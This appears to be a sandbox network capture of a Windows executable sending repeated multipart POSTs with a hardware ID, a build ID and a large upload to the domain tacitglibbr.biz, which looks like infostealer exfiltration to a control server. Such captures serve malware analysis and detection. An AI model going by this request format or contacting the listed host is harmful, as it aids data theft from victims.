2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 46 73 54 6c 4d 49 39 68 32 6f 54 35 69 67 2f 31 77 76 6d 4b 77 51 69 45 70 74 5a 49 68 52 2b 6a 2f 58 36 6f 6a 78 6c 6f 44 30 61 53 31 69 59 79 48 33 65 49 46 36 67 62 54 33 41 53 72 52 6c 4e 53 38 53 6e 6c 68 6a 4d 33 4b 46 2b 2f 47 38 64 6e 66 67 49 46 4a 46 58 39 4f 57 50 64 4d 6a 48 75 55 6e 50 74 67 4e 34 53 41 43 4c 78 32 65 55 43 73 49 64 6f 2f 35 2f 36 63 77 61 4b 6b 39 46 31 42 57 6d 73 4a 78 6e 32 52 65 36 54 56 36 67 45 72 44 49 68 63 72 4d 5a 42 47 4b 45 5a 75 78 65 79 32 72 54 6f 6f 39 6e 6b 56 52 31 75 59 79 48 58 66 4f 42 76 67 4a 6a 76 53 44 4f 30 6f 44 53 34 65 6b 6c 63 6e 43 6e 47 4d 38 75 53 34 4d 32 36 38 4d 31 49 4d 45 35 54 57 50 59 64 71 4b 50 34 36 4b 38 35 49 32 53 59 50 4a 68 6d 46 46 7a 35 49 61 4d 76 79 2b 75 70 75 4b 4b 55 35 Data Ascii: FsTlMI9h2oT5ig/1wvmKwQiEptZIhR+j/X6ojxloD0aS1iYyH3eIF6gbT3ASrRlNS8SnlhjM3KF+/G8dnfgIFJFX9OWPdMjHuUnPtgN4SACLx2eUCsIdo/5/6cwaKk9F1BWmsJxn2Re6TV6gErDIhcrMZBGKEZuxey2rToo9nkVR1uYyHXfOBvgJjvSDO0oDS4eklcnCnGM8uS4M268M1IME5TWPYdqKP46K85I2SYPJhmFFz5IaMvy+upuKKU5
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 6a 63 66 64 49 75 45 75 6f 6c 4d 64 4a 4b 6f 6d 55 47 4d 46 37 4c 46 78 51 4c 66 6f 76 32 34 4f 6f 70 4a 72 64 35 46 55 34 54 79 34 35 78 30 53 6f 52 34 69 45 78 30 41 76 67 4b 77 59 74 46 35 74 66 4d 77 64 31 67 2f 54 34 70 54 64 73 71 7a 77 57 52 56 65 56 77 54 32 52 61 68 6e 32 62 57 4b 59 4a 63 73 51 51 77 6b 6b 30 30 68 76 48 7a 47 4d 2b 62 62 79 64 6d 53 74 4e 52 70 4e 56 5a 72 43 64 39 59 68 45 75 55 70 4e 74 45 50 36 69 51 45 4c 52 2b 58 57 79 73 41 63 6f 6a 36 2b 61 55 2b 4b 4f 42 35 46 56 6f 54 79 34 35 59 79 43 45 51 36 47 30 6c 6c 68 4f 73 49 67 31 6f 52 74 4e 62 4b 41 42 33 6a 76 6e 33 72 44 35 74 70 6a 30 54 52 46 57 51 77 58 6e 61 4b 78 48 71 49 54 54 53 43 2b 30 70 43 69 63 56 6c 68 64 76 52 6e 61 54 74 61 37 71 42 32 75 34 4c 67 4a 4f 45 Data Ascii: jcfdIuEuolMdJKomUGMF7LFxQLfov24OopJrd5FU4Ty45x0SoR4iEx0AvgKwYtF5tfMwd1g/T4pTdsqzwWRVeVwT2Rahn2bWKYJcsQQwkk00hvHzGM+bbydmStNRpNVZrCd9YhEuUpNtEP6iQELR+XWysAcoj6+aU+KOB5FVoTy45YyCEQ6G0llhOsIg1oRtNbKAB3jvn3rD5tpj0TRFWQwXnaKxHqITTSC+0pCicVlhdvRnaTta7qB2u4LgJOE
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 66 4c 51 61 75 64 58 72 32 41 66 38 79 41 69 59 56 68 55 78 68 47 54 2b 53 74 66 47 6d 64 6a 44 75 4f 68 6c 4a 56 35 50 43 66 64 73 6e 48 76 77 69 50 64 38 44 35 7a 63 4c 4c 78 6d 59 58 79 6f 4a 64 35 6e 35 2b 4c 67 7a 65 72 78 35 58 41 4a 55 69 34 34 6c 6e 78 77 5a 2f 6a 30 35 6d 6a 76 36 4a 68 63 6a 45 35 38 58 50 6b 68 6f 79 2f 4c 36 36 6d 34 6f 71 44 59 62 51 56 79 53 78 33 48 53 4c 78 66 72 4c 44 7a 63 41 4f 59 6c 42 79 34 66 6c 6c 30 69 42 33 75 43 38 76 36 74 4e 58 72 75 64 31 4a 46 53 39 4f 57 50 66 59 74 44 4f 41 39 65 73 64 45 39 57 55 47 4a 46 37 4c 46 79 55 4d 66 6f 2f 79 2b 71 77 7a 62 71 4d 34 48 55 4e 54 6e 4d 70 32 31 69 77 66 34 79 67 33 33 42 6a 6d 4c 67 34 6b 46 35 39 61 59 55 67 78 6a 4f 32 32 38 6e 5a 5a 6f 7a 63 63 52 55 58 54 30 54 Data Ascii: fLQaudXr2Af8yAiYVhUxhGT+StfGmdjDuOhlJV5PCfdsnHvwiPd8D5zcLLxmYXyoJd5n5+Lgzerx5XAJUi44lnxwZ/j05mjv6JhcjE58XPkhoy/L66m4oqDYbQVySx3HSLxfrLDzcAOYlBy4fll0iB3uC8v6tNXrud1JFS9OWPfYtDOA9esdE9WUGJF7LFyUMfo/y+qwzbqM4HUNTnMp21iwf4yg33BjmLg4kF59aYUgxjO228nZZozccRUXT0T
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 34 79 34 38 33 67 48 67 4e 77 67 6f 48 5a 67 58 62 30 5a 32 6b 37 57 75 36 68 56 2f 75 44 4d 56 54 6b 57 59 7a 33 37 4a 4a 77 36 75 59 33 72 4a 44 66 31 6c 57 54 34 4f 68 46 41 2b 53 47 6a 4c 38 76 72 71 62 69 69 6f 4d 42 52 46 56 5a 33 63 65 4e 6b 6c 45 65 63 6b 50 74 41 4a 37 43 45 46 4c 78 75 51 57 79 6f 42 63 6f 54 78 2f 36 51 2f 5a 2b 35 33 55 6b 56 4c 30 35 59 39 2f 6a 45 64 34 69 42 36 78 30 54 31 5a 51 59 6b 58 73 73 58 4c 51 68 30 69 2f 2f 77 72 6a 4e 75 70 44 77 53 53 56 43 63 79 6e 76 62 4a 52 37 6c 4a 44 76 65 44 2b 59 75 42 79 55 64 6c 56 46 68 53 44 47 4d 37 62 62 79 64 6b 69 31 4e 42 35 46 45 34 79 41 5a 4a 38 74 45 71 35 31 65 74 4d 47 36 43 49 42 4a 52 32 62 55 69 55 4d 64 49 76 39 35 4b 49 32 62 37 77 72 45 6b 74 57 6e 38 31 39 32 79 77 Data Ascii: 4y483gHgNwgoHZgXb0Z2k7Wu6hV/uDMVTkWYz37JJw6uY3rJDf1lWT4OhFA+SGjL8vrqbiioMBRFVZ3ceNklEeckPtAJ7CEFLxuQWyoBcoTx/6Q/Z+53UkVL05Y9/jEd4iB6x0T1ZQYkXssXLQh0i//wrjNupDwSSVCcynvbJR7lJDveD+YuByUdlVFhSDGM7bbydki1NB5FE4yAZJ8tEq51etMG6CIBJR2bUiUMdIv95KI2b7wrEktWn8192yw
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 64 63 62 30 6d 56 5a 4d 53 44 54 58 44 63 42 59 59 6a 6a 2f 61 63 36 65 5a 42 35 53 68 59 42 77 5a 77 76 6a 54 56 65 38 52 4a 30 6d 41 75 73 66 54 67 78 58 6f 55 58 65 56 51 2f 79 2b 65 32 38 6e 59 76 72 53 73 41 52 46 43 46 7a 54 72 68 46 44 6e 34 4a 7a 33 49 44 66 73 71 51 57 5a 65 6e 42 64 35 50 7a 47 43 38 75 32 37 49 47 57 2b 50 6c 4a 39 48 64 50 57 50 59 64 71 4b 2b 30 6a 4e 4e 38 63 2f 57 67 6d 50 68 53 55 52 79 59 52 66 73 75 37 74 71 78 32 4d 50 31 33 55 6b 5a 43 30 35 59 74 6a 58 46 4c 76 58 70 71 69 68 57 69 50 45 45 2b 58 73 73 46 62 30 5a 6a 79 36 32 32 37 54 56 36 76 44 38 52 56 46 44 55 38 45 50 34 4d 42 50 6f 4f 69 76 6d 4e 4f 73 2f 44 43 34 4a 67 68 73 30 42 58 2b 46 38 75 44 71 65 43 69 68 65 55 70 37 45 39 75 4f 51 70 46 71 42 71 35 31 Data Ascii: dcb0mVZMSDTXDcBYYjj/ac6eZB5ShYBwZwvjTVe8RJ0mAusfTgxXoUXeVQ/y+e28nYvrSsARFCFzTrhFDn4Jz3IDfsqQWZenBd5PzGC8u27IGW+PlJ9HdPWPYdqK+0jNN8c/WgmPhSURyYRfsu7tqx2MP13UkZC05YtjXFLvXpqihWiPEE+XssFb0Zjy6227TV6vD8RVFDU8EP4MBPoOivmNOs/DC4Jghs0BX+F8uDqeCiheUp7E9uOQpFqBq51
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 78 33 48 6d 59 48 30 30 46 68 58 69 50 46 74 65 54 71 62 69 6a 70 4f 67 42 51 56 5a 44 59 66 70 67 55 49 4d 6b 6a 50 64 6b 63 2f 44 49 4f 46 69 43 47 56 43 38 49 64 70 33 6b 74 75 52 32 5a 2b 35 68 4b 77 49 62 30 2f 45 7a 6e 7a 4a 65 74 6d 30 50 32 77 54 69 49 68 63 35 55 37 52 5a 4a 67 64 6e 6d 2b 4c 35 36 6e 67 6f 71 48 6c 4b 45 42 33 54 79 6d 79 66 63 6b 36 38 64 6d 2b 4c 58 62 78 33 48 6d 59 48 30 30 46 68 58 69 50 46 74 65 54 71 62 69 6a 70 4f 67 42 51 56 5a 44 59 66 70 67 55 49 4d 6b 6a 50 64 6b 63 2f 44 49 4f 5a 7a 43 6c 64 68 38 34 5a 49 6a 37 2b 4b 30 67 65 65 35 33 55 6b 30 54 79 2f 63 39 6c 32 6f 68 6f 47 30 69 6d 46 4b 73 45 41 49 6d 45 4a 52 42 4d 45 74 57 68 66 4c 33 76 43 5a 2f 6f 58 59 38 64 48 4c 54 67 44 33 5a 61 6b 61 38 59 33 72 63 47 Data Ascii: x3HmYH00FhXiPFteTqbijpOgBQVZDYfpgUIMkjPdkc/DIOFiCGVC8Idp3ktuR2Z+5hKwIb0/EznzJetm0P2wTiIhc5U7RZJgdnm+L56ngoqHlKEB3Tymyfck68dm+LXbx3HmYH00FhXiPFteTqbijpOgBQVZDYfpgUIMkjPdkc/DIOZzCldh84ZIj7+K0gee53Uk0Ty/c9l2ohoG0imFKsEAImEJRBMEtWhfL3vCZ/oXY8dHLTgD3Zaka8Y3rcG
2024-12-16 14:38:06 UTC	1369	IN	Data Raw: 72 58 4b 4a 42 49 67 5a 2f 6a 4c 57 34 36 69 34 6f 39 6e 6b 2f 55 46 53 44 7a 54 32 52 61 68 4b 75 64 58 72 56 47 4f 73 31 41 6d 51 5a 69 56 42 68 47 54 2b 53 74 65 44 71 62 6a 76 67 65 51 41 43 43 39 4f 4a 63 39 49 72 48 65 41 75 4b 4d 6f 4d 37 7a 4d 43 62 79 43 74 65 6a 4d 42 59 59 69 33 78 36 63 79 66 72 73 36 41 6b 56 74 72 65 4e 76 32 44 6f 64 72 41 45 39 31 51 62 53 47 7a 59 35 47 59 4d 56 42 77 56 6e 69 4c 57 34 36 69 34 6f 39 6e 6b 2f 55 46 53 44 7a 54 2f 7a 4c 52 50 69 62 53 57 57 45 36 77 7a 51 58 42 4e 33 52 63 7a 52 69 6e 4c 73 76 57 34 4a 47 36 74 4c 78 45 46 62 61 33 6a 62 39 67 36 48 61 77 63 4e 39 77 63 2b 53 59 52 4c 79 43 74 65 6a 4d 42 59 59 69 33 30 35 42 30 57 62 67 36 45 6b 78 55 30 34 41 39 78 32 70 47 72 67 41 6f 33 78 72 76 5a 79 Data Ascii: rXKJBIgZ/jLW46i4o9nk/UFSDzT2RahKudXrVGOs1AmQZiVBhGT+SteDqbjvgeQACC9OJc9IrHeAuKMoM7zMCbyCtejMBYYi3x6cyfrs6AkVtreNv2DodrAE91QbSGzY5GYMVBwVniLW46i4o9nk/UFSDzT/zLRPibSWWE6wzQXBN3RczRinLsvW4JG6tLxEFba3jb9g6HawcN9wc+SYRLyCtejMBYYi305B0Wbg6EkxU04A9x2pGrgAo3xrvZy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49710	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5F9BYO2IF045T2JGLPD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12865 Host: tacitglibbr.biz
2024-12-16 14:38:08 UTC	12865	OUT	Data Raw: 2d 2d 35 46 39 42 59 4f 32 49 46 30 34 35 54 32 4a 47 4c 50 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 38 39 45 33 34 44 39 35 39 33 45 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 46 39 42 59 4f 32 49 46 30 34 35 54 32 4a 47 4c 50 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 46 39 42 59 4f 32 49 46 30 34 35 54 32 4a 47 4c 50 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --5F9BYO2IF045T2JGLPDContent-Disposition: form-data; name="hwid"48689E34D9593E67AC8923850305D13E--5F9BYO2IF045T2JGLPDContent-Disposition: form-data; name="pid"2--5F9BYO2IF045T2JGLPDContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-16 14:38:08 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u75e0me4g6sj3vg6bl27hjvspm; expires=Fri, 11-Apr-2025 08:24:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ca2fLYee%2B8rJFjg5xdLf7dJktEN%2Fd5wLt5hkW1pBWaSJMeOflHjVhAkewEkbs%2Fp2ZKRQDEScwpX5hriP6fjmxQ6EaIJXdNq5tzQywYke5oUJTncAR5fAOZTSJmh4tSpqSW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a553dd7f793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&min_rtt=1474&rtt_var=573&sent=14&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13805&delivery_rate=1875401&cwnd=140&unsent_bytes=0&cid=ee89f2a5e156749a&ts=1181&x=0"
2024-12-16 14:38:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:38:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49712	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:10 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YQWEKMTJNXZ92J4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15087 Host: tacitglibbr.biz
2024-12-16 14:38:10 UTC	15087	OUT	Data Raw: 2d 2d 59 51 57 45 4b 4d 54 4a 4e 58 5a 39 32 4a 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 38 39 45 33 34 44 39 35 39 33 45 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 51 57 45 4b 4d 54 4a 4e 58 5a 39 32 4a 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 51 57 45 4b 4d 54 4a 4e 58 5a 39 32 4a 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 51 57 45 4b Data Ascii: --YQWEKMTJNXZ92J4Content-Disposition: form-data; name="hwid"48689E34D9593E67AC8923850305D13E--YQWEKMTJNXZ92J4Content-Disposition: form-data; name="pid"2--YQWEKMTJNXZ92J4Content-Disposition: form-data; name="lid"PsFKDg--pablo--YQWEK
2024-12-16 14:38:11 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t0gu6b3o8flj4jo83pjj0gpf22; expires=Fri, 11-Apr-2025 08:24:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O3Oz2UARC5Ztci2bZeFkCPlCaJNQU99h5ik3p8waD0WH1eF0Er3iEY%2Fqfr%2FQ6R4xAMTWaMzwu6smmXrOUiJro0GrP6qnz3JTPGI86ldkgOH6h5RubV4pJpLostqoDAIb11k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a6309957cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1819&rtt_var=688&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16023&delivery_rate=1585233&cwnd=226&unsent_bytes=0&cid=0ff1393a62514009&ts=987&x=0"
2024-12-16 14:38:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:38:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49718	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:12 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LZ3MKM7CZM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19915 Host: tacitglibbr.biz
2024-12-16 14:38:12 UTC	15331	OUT	Data Raw: 2d 2d 4c 5a 33 4d 4b 4d 37 43 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 38 39 45 33 34 44 39 35 39 33 45 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 5a 33 4d 4b 4d 37 43 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 5a 33 4d 4b 4d 37 43 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4c 5a 33 4d 4b 4d 37 43 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --LZ3MKM7CZMContent-Disposition: form-data; name="hwid"48689E34D9593E67AC8923850305D13E--LZ3MKM7CZMContent-Disposition: form-data; name="pid"3--LZ3MKM7CZMContent-Disposition: form-data; name="lid"PsFKDg--pablo--LZ3MKM7CZMContent-
2024-12-16 14:38:12 UTC	4584	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-16 14:38:13 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k8v7fs37c0k9fer97jmkn1hatv; expires=Fri, 11-Apr-2025 08:24:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fz4PysgfDWlskemk9WAvq8SxsBy3S%2BHyVeReidSbej7n4vQazyWLNerIDjF7Yn%2BE755Rn8ffugTODk9q6fcGuze%2BW3EWX0BXdCBQp0bP7BBLQQ5DwwZ86s94sJqoSvyqRKM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a717b0ec468-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&min_rtt=1510&rtt_var=595&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2839&recv_bytes=20868&delivery_rate=1795817&cwnd=235&unsent_bytes=0&cid=e327278d842b23ab&ts=889&x=0"
2024-12-16 14:38:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:38:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49724	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:14 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=12ZILBYXO9EDK0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1209 Host: tacitglibbr.biz
2024-12-16 14:38:14 UTC	1209	OUT	Data Raw: 2d 2d 31 32 5a 49 4c 42 59 58 4f 39 45 44 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 38 39 45 33 34 44 39 35 39 33 45 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 32 5a 49 4c 42 59 58 4f 39 45 44 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 32 5a 49 4c 42 59 58 4f 39 45 44 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 32 5a 49 4c 42 59 58 Data Ascii: --12ZILBYXO9EDK0Content-Disposition: form-data; name="hwid"48689E34D9593E67AC8923850305D13E--12ZILBYXO9EDK0Content-Disposition: form-data; name="pid"1--12ZILBYXO9EDK0Content-Disposition: form-data; name="lid"PsFKDg--pablo--12ZILBYX
2024-12-16 14:38:15 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s1cpi7ch51b1idp72jvatslvjs; expires=Fri, 11-Apr-2025 08:24:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pyoWMla%2BoTRZadVXwhOx6z0YSFwU256VpHTRaDE5LI%2BHYFEcO8Pfat4%2FsrowXr0NkDB%2FAJKyC0Q4DSETSAT2mvblYw%2B3w9yipdR%2B3GVEJkTOHxtaSW3Tf0GCOgK29d6%2FU6g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f6a808ab319b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1856&min_rtt=1842&rtt_var=700&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2121&delivery_rate=1585233&cwnd=149&unsent_bytes=0&cid=88dd72ebcbeb1f48&ts=744&x=0"
2024-12-16 14:38:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:38:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49731	104.21.50.161	443	6508	C:\Users\user\Desktop\NYMPo215Qd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:38:17 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7AYOUW2RK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552421 Host: tacitglibbr.biz
2024-12-16 14:38:17 UTC	15331	OUT	Data Raw: 2d 2d 37 41 59 4f 55 57 32 52 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 38 39 45 33 34 44 39 35 39 33 45 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 41 59 4f 55 57 32 52 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 41 59 4f 55 57 32 52 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 